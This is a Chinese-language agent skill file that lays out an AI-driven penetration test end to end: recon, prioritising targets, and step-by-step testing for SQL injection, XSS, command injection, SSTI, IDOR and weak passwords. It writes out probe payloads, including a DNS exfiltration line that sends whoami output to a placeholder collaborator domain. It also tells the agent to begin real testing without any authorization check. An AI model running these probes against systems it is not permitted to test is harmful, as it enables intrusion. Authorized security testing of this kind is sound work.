pentest-task-design

name	pentest-task-design
metadata	{"display_name_zh-CN":"渗透测试"}
description	渗透测试安全测试任务设计与执行总指导。作为渗透测试的顶层编排技能，将抽象的安全测试方法论 映射到可直接调用的工具链，定义从目标接收到报告输出的完整决策流程。覆盖侦查、爬虫、 漏洞测试、利用验证的每一步具体操作，串联 recon-planning、web-crawler、xss-testing、 sql-injection、command-injection、template-injection、code-review 等全部子技能。 当用户要求进行渗透测试、安全测试或安全评估时，应首先参考此技能进行任务设计。

渗透测试任务设计与执行指导

本技能是渗透测试的顶层编排指导。它将安全测试方法论与系统中可用的具体工具一一对应， 确保每一步任务设计都可直接执行。当收到渗透测试任务时，按照本指导分阶段设计和执行。

---

0. 核心原则

1. 侦查先行：永远不要跳过侦查阶段。没有充分的信息收集，后续测试就是盲目的。
2. 逐步深入：偏好使用深度优先策略 每个阶段的产出驱动下一阶段的输入。不要一次性执行所有测试。
3. 工具驱动：每一步都必须映射到一个具体可调用的工具。如果没有对应的工具，则记录为手动检查项。
4. 结果记录：每一步的发现都必须写入文件，作为后续分析和最终报告的依据。
5. 风险优先：按照影响程度和成功概率排序测试任务，高价值目标优先。
6. 意图保真：如果用户说的是“渗透测试”“漏洞验证”“发包探测”“复现漏洞”，默认目标是执行测试而不是只产出计划。只有当用户明确要求“任务规划”“测试计划”“方案设计”“报告整理”时，才进入纯规划模式。
7. 证据优先：对于“执行”“验证”“复现”“确认可利用性”类任务，加载技能、阅读技能文档、直接回答文本都只能算准备动作，不算漏洞证据。SQL 注入和 XSS 至少需要真实请求、真实响应差异、浏览器执行结果或明确的阻塞原因。
8. 发现即上报留档（最高优先级，必须遵守）：cybersecurity-risk 是本流程的超重要常驻上报工具。漏洞或任何可能造成危害的安全风险（注入、越权/IDOR、认证绕过、弱口令、危险默认配置、敏感信息泄露、可疑未授权端点等）一经一手数据确认，第一时间就用 cybersecurity-risk 落库，或把关键证据写入 output 结果文件留档（二者至少其一，大块原始流量配合 request-file/response-file）。
   • 每实例单独上报，禁止攒批：每确认一个独立风险实例就立即上报一次，不要等当前阶段或整个测试结束再统一补录，更不要把上报拆成一个独立的“批量补录”任务。
   • 批量遍历先报首个：IDOR 等批量 ID 枚举场景，确认首个可越权实例后先上报，再继续遍历后续 ID。
   • 上报/留档不是“流程末尾的收尾动作”，而是贯穿测试全程的随手动作。下面各 Phase 流程里写在末尾的“记录结果 / cybersecurity-risk”步骤，都应理解为“确认那一刻立即执行”，而非“攒到最后执行”。

0.1 模式选择规则

收到渗透测试请求时，先判断任务模式：

• 纯规划模式：用户明确要求计划、任务清单、优先级、方案文档、报告框架。此时可以输出任务设计和执行顺序，但不得冒充“已验证漏洞”。
• 执行模式：用户要求渗透测试、安全测试、漏洞验证、PoC、发包确认、利用复现。此时必须进入实际测试阶段，不能停留在任务清单。
• 混合模式：用户既要计划也要验证。先做最小必要侦查和任务拆分，再进入高风险点实际验证，最后输出报告。

0.2 执行类任务拆分规则

当某一类漏洞目标满足以下任一条件时，必须拆分，不得用一个笼统任务覆盖：

• 目标端点超过 3 个
• 同时包含多个上下文或载体，例如 Query、Body、Cookie、Header、Path、DOM
• 同时要求“发现 + 验证 + 利用 + 汇总”

推荐拆分为以下链路：

1. 目标清单确认
2. 基线请求与参数位置确认
3. 基础探针发包
4. 上下文或注入类型确认
5. 漏洞证据固化
6. 可利用性评估与报告输出

---

1. 工具能力矩阵

以下是当前系统中可用于渗透测试的工具及其映射关系：

1.1 侦查工具

工具名称	功能	渗透测试用途
scan_port	端口扫描（SYN/TCP）+ 服务指纹识别	发现开放端口和运行的服务
simple_crawler	轻量级 Web 爬虫	发现 URL、参数、表单、API 端点
web_search	互联网搜索 + 内容摘要	搜索目标信息、搜索引擎 Dork、搜索漏洞情报
dig	DNS 查询	解析域名、发现子域名的 DNS 记录
whois	WHOIS 查询	查询域名注册信息、IP 归属
tls_inspect	TLS 检查	检查证书信息、TLS 配置、弱密码套件
subdomain_scan	子域名扫描	枚举目标域名下的子域名
match_fingerprint_by_packet	HTTP 指纹匹配	识别 Web 框架、CMS、中间件版本

1.2 漏洞测试工具

工具名称	功能	渗透测试用途
do_http_request	发送 HTTP 请求（URL 模式 + 原始数据包模式）	注入测试、参数篡改、认证测试
send_http_request_packet	发送原始 HTTP 数据包	精确控制请求内容进行漏洞验证
brute	服务暴力破解	SSH/FTP/RDP/MySQL 等服务的弱口令检测
poc_template_searcher	搜索 PoC 模板	查找已知漏洞的检测模板
call_yak_plugin	调用 Yak 插件	执行特定的漏洞检测插件
query_plugin_by_fp	按指纹查询插件	根据服务指纹匹配适用的漏洞检测插件

1.3 分析工具

工具名称	功能	渗透测试用途
grep	文本搜索（子串/正则）	在爬取结果或源码中搜索敏感模式
read_file	读取文件	查看扫描结果、爬取输出、配置文件
write_file	写入文件	保存测试结果和报告
encode / decode	编码/解码	构造编码后的 Payload，解码响应内容
auto_decode	自动解码	自动识别和解码未知编码
bash	执行 Shell 命令	运行系统命令辅助测试
cybersecurity-risk	报告安全漏洞	以标准格式记录发现的漏洞

1.4 子技能矩阵

技能名称	提供的知识	在哪个阶段使用
recon-planning	侦查方法论、资产分类、OWASP Top 10 矩阵	Phase 1-3
web-crawler	爬虫策略、信息提取、攻击面分析	Phase 1
xss-testing	XSS Payload、上下文适配、WAF 绕过	Phase 4
sql-injection	SQL 注入 Payload、多数据库适配、盲注技术	Phase 4
command-injection	命令注入 Payload、盲注检测、编码绕过	Phase 4
template-injection	SSTI 引擎识别、各引擎 RCE Payload	Phase 4
code-review	代码审计 grep 模式、CWE 漏洞模式匹配	Phase 4

---

2. 任务设计决策流程

当收到渗透测试任务时，按以下决策流程设计任务：

收到目标
  │
  ├─ 目标是域名? ──> Phase 1A: 域名侦查
  ├─ 目标是 IP?   ──> Phase 1B: IP 侦查
  ├─ 目标是 URL?  ──> Phase 1C: Web 应用侦查
  └─ 目标是源码? ──> 直接进入代码审计 (code-review)
  │
  v
Phase 1 产出: 资产清单 + 攻击面地图
  │
  v
Phase 2: 范围确定 + 优先级排序
  │
  v
Phase 3: 为每个目标生成具体测试任务列表
  │
  v
Phase 4: 逐任务执行测试
  │
  v
Phase 5: 汇总报告

---

3. Phase 1: 侦查 —— 具体执行步骤

3.1 目标为域名时 (Phase 1A)

按以下顺序执行侦查，每一步的产出都保存到文件：

Step 1: DNS 信息收集

工具: dig
操作: 查询目标域名的 A, AAAA, CNAME, MX, NS, TXT 记录
产出: IP 地址列表、邮件服务器、DNS 配置
保存: write_file -> recon/dns-records.md

Step 2: 子域名枚举

工具: subdomain_scan
操作: 对目标域名进行子域名扫描
产出: 子域名列表及其解析的 IP
保存: write_file -> recon/subdomains.md

Step 3: WHOIS 查询

工具: whois
操作: 查询域名和关键 IP 的注册信息
产出: 注册人、注册商、IP 归属、ASN 信息
保存: write_file -> recon/whois.md

Step 4: 搜索引擎情报

工具: web_search
操作: 执行搜索引擎 Dork 搜索
  - site:target.com
  - site:target.com filetype:pdf|doc|xls
  - site:target.com inurl:admin|login|api
  - "target.com" password|secret|key|token
产出: 公开暴露的敏感信息、管理后台、文档
保存: write_file -> recon/osint.md

Step 5: 端口扫描（对每个发现的 IP 执行）

工具: scan_port
操作: 扫描 Top 1000 端口（或全端口），启用服务识别
产出: 开放端口列表 + 服务类型 + 版本信息
保存: write_file -> recon/port-scan.md

Step 6: Web 服务爬取（对每个发现的 Web 端口执行）

工具: simple_crawler
操作: 爬取 Web 服务的页面
产出: URL 列表、参数、表单、JavaScript 文件列表
保存: write_file -> recon/crawler-results.md

Step 7: TLS 检查（对每个 HTTPS 服务执行）

工具: tls_inspect
操作: 检查 TLS 配置
产出: 证书信息（域名、过期时间）、协议版本、密码套件
保存: write_file -> recon/tls-config.md

Step 8: 指纹识别（对每个 Web 服务执行）

工具: do_http_request + match_fingerprint_by_packet
操作: 发送 HTTP 请求并匹配指纹
产出: Web 框架、CMS、中间件、编程语言识别
保存: write_file -> recon/fingerprints.md

3.2 目标为 IP 时 (Phase 1B)

从上面的 Step 5 开始执行（跳过 DNS 和子域名枚举）。

3.3 目标为 URL 时 (Phase 1C)

从上面的 Step 6 开始执行（跳过端口扫描，直接爬取已知的 Web 应用）。 同时执行 Step 7 和 Step 8。

---

4. Phase 2: 范围确定 —— 分析产出

读取 Phase 1 保存的所有侦查结果文件，执行以下分析：

4.1 资产清单构建

工具: read_file (读取 recon/ 目录下的所有文件)
操作: 汇总所有发现，构建结构化资产清单

资产清单格式:
- 域名/IP: xxx
  - 端口: 80 (HTTP) -> nginx 1.x
  - 端口: 443 (HTTPS) -> nginx 1.x
  - 端口: 3306 (MySQL) -> MySQL 5.7
  - Web 应用:
    - 主站: https://target.com (WordPress 5.x)
    - API: https://api.target.com (Spring Boot 2.x)
    - 管理后台: https://admin.target.com (自定义)
  - 爬虫发现:
    - URL 数量: 150
    - 带参数 URL: 45
    - 表单: 12
    - API 端点: 30

保存: write_file -> analysis/asset-inventory.md

4.2 优先级评估

根据以下规则自动评估每个资产的测试优先级：

Critical (立即测试):
  - 已知存在 CVE 的组件版本
  - 数据库端口直接暴露到互联网
  - 管理后台无认证或使用默认凭据

High (优先测试):
  - Web 应用带大量用户输入参数
  - API 端点 (特别是未认证的)
  - 文件上传功能
  - 搜索功能

Medium (常规测试):
  - 需要认证才能访问的功能
  - 静态内容较多但有少量动态功能的站点
  - SSH/RDP 等远程管理服务

Low (时间允许时测试):
  - 纯静态站点
  - CDN 分发的资源
  - 辅助服务(DNS, NTP)

4.3 已知漏洞速查

工具: poc_template_searcher / query_plugin_by_fp
操作: 对每个识别出的组件版本搜索已知 PoC
产出: 匹配的 PoC 列表
保存: write_file -> analysis/known-vulns.md

---

5. Phase 3: 任务规划 —— 生成可执行任务列表

基于 Phase 2 的分析结果，为每个高优先级目标生成具体的测试任务列表。

5.1 Web 应用测试任务生成规则

对于每个 Web 应用目标，按以下模板生成任务列表：

补充要求：

• 如果上层目标是执行测试，则下面的任务必须是“实际发包和验证”任务，不能退化成“制定 SQL 注入测试任务”或“制定 XSS 测试任务”这类纯文档任务。
• 如果上层目标只是任务规划，必须在任务标题或目标中明确标注“规划”或“设计”，避免后续执行器误判为已验证。
• 任何“确认漏洞存在”“确认可利用性”“输出 PoC”类任务，必须显式写入要使用的工具和成功判据。

目标: [URL]
技术栈: [识别出的框架/语言/中间件]
爬虫发现: [URL 数/参数数/表单数]

任务列表:

=== 高优先级 ===

1. 已知漏洞检测
   工具: call_yak_plugin / poc_template_searcher
   输入: 组件版本指纹
   技能参考: -

2. SQL 注入测试
   工具: do_http_request
   输入: 所有带参数的 URL (特别是 id, user, search, filter, sort 类参数)
   技能参考: sql-injection
   方法: 对每个参数逐个注入探针(单引号, 布尔条件, 时间延迟)

3. 命令注入测试
   工具: do_http_request
   输入: 可能触发系统命令的参数 (file, path, cmd, exec, ip, host, ping)
   技能参考: command-injection
   方法: 使用分隔符(;, |, ||, &&)和时间延迟探针

4. XSS 测试
   工具: do_http_request
   输入: 所有在响应中有反射的参数
   技能参考: xss-testing
   方法: 分层 Payload 注入, 先探测上下文再适配 Payload

5. SSTI 测试
   工具: do_http_request
   输入: 模板/渲染相关参数, 以及所有文本输入参数
   技能参考: template-injection
   方法: 通用探针 {{7*7}}, ${7*7}, <%= 7*7 %> 逐个注入

=== 中优先级 ===

6. 弱口令检测
   工具: brute
   输入: 发现的登录端口 (SSH, FTP, MySQL, RDP, Web 登录)
   技能参考: -

7. 越权测试 (IDOR)
   工具: do_http_request
   输入: 带数字 ID 参数的 API (如 /api/user/123)
   方法: 替换 ID 值, 观察能否访问其他用户数据

8. 文件上传测试
   工具: do_http_request
   输入: 发现的文件上传表单
   方法: 上传不同类型的文件, 测试文件类型校验和路径穿越

9. SSRF 测试
   工具: do_http_request
   输入: 接受 URL 参数的端点 (url=, redirect=, callback=, webhook=)
   方法: 注入内网地址和外部回调地址

=== 低优先级 ===

10. 安全 Header 检查
    工具: do_http_request
    输入: 目标 URL
    方法: 检查响应头中的安全配置
    检查项: X-Frame-Options, CSP, X-Content-Type-Options, HSTS, CORS

11. 信息泄露检查
    工具: do_http_request / web_search
    输入: 常见敏感路径 (/.git/config, /.env, /backup/, /phpinfo.php, /actuator/)
    方法: 逐个请求并检查响应状态

12. TLS 安全评估
    工具: tls_inspect
    输入: HTTPS 服务
    方法: 检查协议版本、密码套件、证书有效期

5.2 非 Web 服务测试任务

对于暴露的数据库服务:
  1. 弱口令检测 -> brute
  2. 未授权访问检测 -> do_http_request 或 bash

对于 SSH/RDP:
  1. 弱口令检测 -> brute
  2. 版本漏洞检查 -> poc_template_searcher

对于邮件服务:
  1. 开放中继检测 -> do_http_request 或 bash
  2. SPF/DKIM/DMARC 配置检查 -> dig (TXT 记录)

5.3 任务保存

工具: write_file
操作: 将完整的任务列表保存到文件
保存: write_file -> plan/test-tasks.md

---

6. Phase 4: 测试执行 —— 逐任务操作指南

6.1 执行总原则

对于任务列表中的每个任务:
  1. 读取任务描述和输入
  2. 参考对应的子技能获取 Payload 和方法
  3. 使用指定的工具执行测试
  4. 分析响应，判断是否存在漏洞
  5. 如果发现可疑点，进一步验证
  6. 记录结果 (write_file -> results/<task-name>.md)
  7. 如果确认漏洞，调用 cybersecurity-risk 工具报告

6.2 SQL 注入测试执行流程

输入: 参数列表 (从爬虫结果提取)

For each URL with parameters:
  Step 1: 基础探测
    工具: do_http_request
    Payload: 在参数值后添加单引号 '
    分析: 响应是否包含 SQL 错误信息
    
  Step 2: 布尔条件测试 (如果 Step 1 无明显错误)
    工具: do_http_request
    Payload A: 原始值 AND 1=1
    Payload B: 原始值 AND 1=2
    分析: 两次响应的内容或状态码是否不同
    
  Step 3: 时间延迟测试 (如果 Step 2 无差异)
    工具: do_http_request
    Payload: 原始值' AND SLEEP(5)-- 
    分析: 响应时间是否增加约 5 秒
    
  Step 4: 确认并利用 (如果任一 Step 发现异常)
    参考: sql-injection 技能中的详细 Payload
    进一步: 确定数据库类型, 尝试联合查询或报错注入提取数据
    
  Step 5: 记录结果
    工具: write_file -> results/sqli-<target>.md
    工具: cybersecurity-risk (如果确认漏洞)

6.3 XSS 测试执行流程

输入: 参数列表 (从爬虫结果提取)

For each URL with parameters:
  Step 1: 反射检测
    工具: do_http_request
    Payload: canary_string_12345
    分析: 响应中是否包含原样的 canary 字符串
    
  Step 2: 上下文判断 (如果 canary 被反射)
    分析响应: canary 出现在 HTML body? 属性值? script 块? URL?
    
  Step 3: 上下文适配 Payload
    参考: xss-testing 技能中的分层 Payload
    工具: do_http_request
    根据上下文选择:
      HTML body -> <script>alert(1)</script>
      属性值 -> " onfocus=alert(1) autofocus="
      script -> ";alert(1)//
      URL -> javascript:alert(1)
    
  Step 4: WAF 绕过 (如果基础 Payload 被过滤)
    参考: xss-testing 技能中的绕过策略
    工具: encode (构造编码后的 Payload)
    工具: do_http_request (发送编码后的 Payload)
    
  Step 5: 记录结果
    工具: write_file -> results/xss-<target>.md
    工具: cybersecurity-risk (如果确认漏洞)

6.4 命令注入测试执行流程

输入: 可能触发系统命令的参数

For each suspected parameter:
  Step 1: 基础分隔符探测
    工具: do_http_request
    Payload: 原始值;id / 原始值|id / 原始值$(id)
    分析: 响应中是否包含命令执行输出 (uid=, gid=)
    
  Step 2: 时间延迟盲注 (如果 Step 1 无回显)
    工具: do_http_request
    Payload: 原始值;sleep 10 / 原始值|sleep 10
    分析: 响应时间是否增加约 10 秒
    
  Step 3: DNS 外带 (如果时间延迟不确定)
    工具: do_http_request
    Payload: 原始值;nslookup $(whoami).YOUR-COLLAB-DOMAIN
    分析: 是否收到 DNS 查询
    
  Step 4: 绕过 (如果基础 Payload 被过滤)
    参考: command-injection 技能中的绕过策略
    
  Step 5: 记录结果
    工具: write_file -> results/cmdi-<target>.md
    工具: cybersecurity-risk (如果确认漏洞)

6.5 SSTI 测试执行流程

输入: 所有文本输入参数

For each parameter:
  Step 1: 通用探针注入
    工具: do_http_request
    Payload 序列: {{7*7}}, ${7*7}, #{7*7}, <%= 7*7 %>
    分析: 响应中是否出现 49
    
  Step 2: 引擎识别 (如果 Step 1 有响应)
    参考: template-injection 技能中的引擎识别决策树
    进一步注入: {{7*'7'}}, ${7*'7'} 等区分具体引擎
    
  Step 3: RCE 验证
    参考: template-injection 技能中对应引擎的 RCE Payload
    工具: do_http_request
    
  Step 4: 记录结果
    工具: write_file -> results/ssti-<target>.md
    工具: cybersecurity-risk (如果确认漏洞)

6.6 弱口令测试执行流程

输入: 发现的登录服务

For each login service:
  Step 1: 识别服务类型和端口
  
  Step 2: 执行暴力破解
    工具: brute
    参数: 目标 IP, 端口, 服务类型
    字典: 使用内置常见用户名/密码字典
    
  Step 3: 记录结果
    工具: write_file -> results/brute-<target>.md
    工具: cybersecurity-risk (如果发现弱口令)

---

7. Phase 5: 报告输出

7.1 报告生成流程

Step 1: 读取所有结果文件
  工具: read_file (读取 results/ 目录下所有文件)

Step 2: 汇总发现
  将所有确认的漏洞按严重程度排序

Step 3: 生成报告
  工具: write_file -> report/pentest-report.md
  
报告结构:
  1. 执行摘要
     - 测试时间范围
     - 测试目标
     - 发现汇总 (Critical/High/Medium/Low/Info 各多少)
     
  2. 目标概况
     - 资产清单
     - 技术栈信息
     - 攻击面描述
     
  3. 漏洞详情 (按严重程度排序)
     For each vulnerability:
       - 标题
       - 严重程度 + CVSS + CWE
       - 漏洞描述
       - 影响分析
       - 重现步骤 (请求/响应)
       - 修复建议
       
  4. 安全建议
     - 整体安全评估
     - 改进优先级建议
     
  5. 附录
     - 测试工具列表
     - 完整的测试日志引用

7.2 漏洞严重程度判定参考

发现	严重程度	理由
RCE（命令注入/SSTI 到命令执行）	Critical	可完全控制服务器
SQL 注入（可读写数据）	Critical	可获取/篡改全部数据
SQL 注入（只读）	High	可获取敏感数据
任意文件读取	High	可读取敏感配置和源码
存储型 XSS	Medium	可影响其他用户
SSRF（可访问内网）	High	可探测和攻击内网服务
SSRF（受限）	Medium	影响有限
CSRF（关键操作）	Medium	可冒充用户操作
IDOR（敏感数据）	High	可访问其他用户敏感数据
IDOR（非敏感数据）	Medium	可访问其他用户非敏感数据
反射型 XSS	Low-Medium	需要用户交互
弱口令	High	可直接获取访问权限
信息泄露（源码/配置）	Medium	辅助进一步攻击
信息泄露（版本号）	Info	辅助信息
缺少安全 Header	Info	安全加固建议
TLS 弱配置	Low	理论上可降级攻击

---

8. 常见场景快速参考

8.1 场景: "帮我测试 example.com 的安全性"

执行计划:
1. dig example.com (DNS)
2. whois example.com
3. subdomain_scan example.com
4. web_search "site:example.com"
5. scan_port <resolved IPs>
6. simple_crawler https://example.com
7. tls_inspect example.com:443
8. 分析结果, 生成任务列表
9. 逐任务执行测试
10. 生成报告

8.2 场景: "测试这个 API 有没有 SQL 注入"

执行计划:
1. do_http_request (发送正常请求, 确认基线响应)
2. do_http_request (添加单引号探针)
3. do_http_request (布尔条件 AND 1=1 vs AND 1=2)
4. do_http_request (时间延迟 SLEEP(5))
5. 根据结果参考 sql-injection 技能深入测试
6. 记录结果

8.3 场景: "扫描这个 IP 段的安全风险"

执行计划:
1. scan_port <IP range> (端口扫描 + 服务识别)
2. 对发现的 Web 服务: simple_crawler
3. 对发现的服务: query_plugin_by_fp / poc_template_searcher
4. 对发现的登录服务: brute
5. 汇总风险报告

8.4 场景: "审计这个项目的源代码安全性"

执行计划:
1. tree (了解项目结构)
2. 参考 code-review 技能, 按漏洞类型分阶段 grep
3. read_file (对每个命中点读取上下文验证)
4. 汇总审计报告

---

9. 文件组织规范

测试过程中所有产出应按以下目录结构组织：

<工作目录/ArtifactsDir>/
  recon/                    # Phase 1 侦查结果
    dns-records.md
    subdomains.md
    whois.md
    osint.md
    port-scan.md
    crawler-results.md
    tls-config.md
    fingerprints.md
  analysis/                 # Phase 2 分析结果
    asset-inventory.md
    known-vulns.md
  plan/                     # Phase 3 任务计划
    test-tasks.md
  results/                  # Phase 4 测试结果
    sqli-target1.md
    xss-target1.md
    cmdi-target1.md
    ssti-target1.md
    brute-target1.md
    ...
  report/                   # Phase 5 最终报告
    pentest-report.md

---

10. 执行检查清单

侦查阶段

• DNS 记录收集完成
• 子域名枚举完成
• WHOIS 信息收集完成
• 搜索引擎情报收集完成
• 端口扫描完成
• Web 爬虫扫描完成
• TLS 配置检查完成
• 服务指纹识别完成

分析阶段

• 资产清单构建完成
• 优先级评估完成
• 已知漏洞速查完成

规划阶段

• 测试任务列表生成完成
• 任务优先级排序完成

测试阶段

• SQL 注入测试完成
• XSS 测试完成
• 命令注入测试完成
• SSTI 测试完成
• 弱口令检测完成
• 越权测试完成
• SSRF 测试完成
• 文件上传测试完成
• 信息泄露检查完成
• 安全配置检查完成

报告阶段

• 所有发现已记录
• 漏洞严重程度已评估
• 修复建议已提供
• 最终报告已生成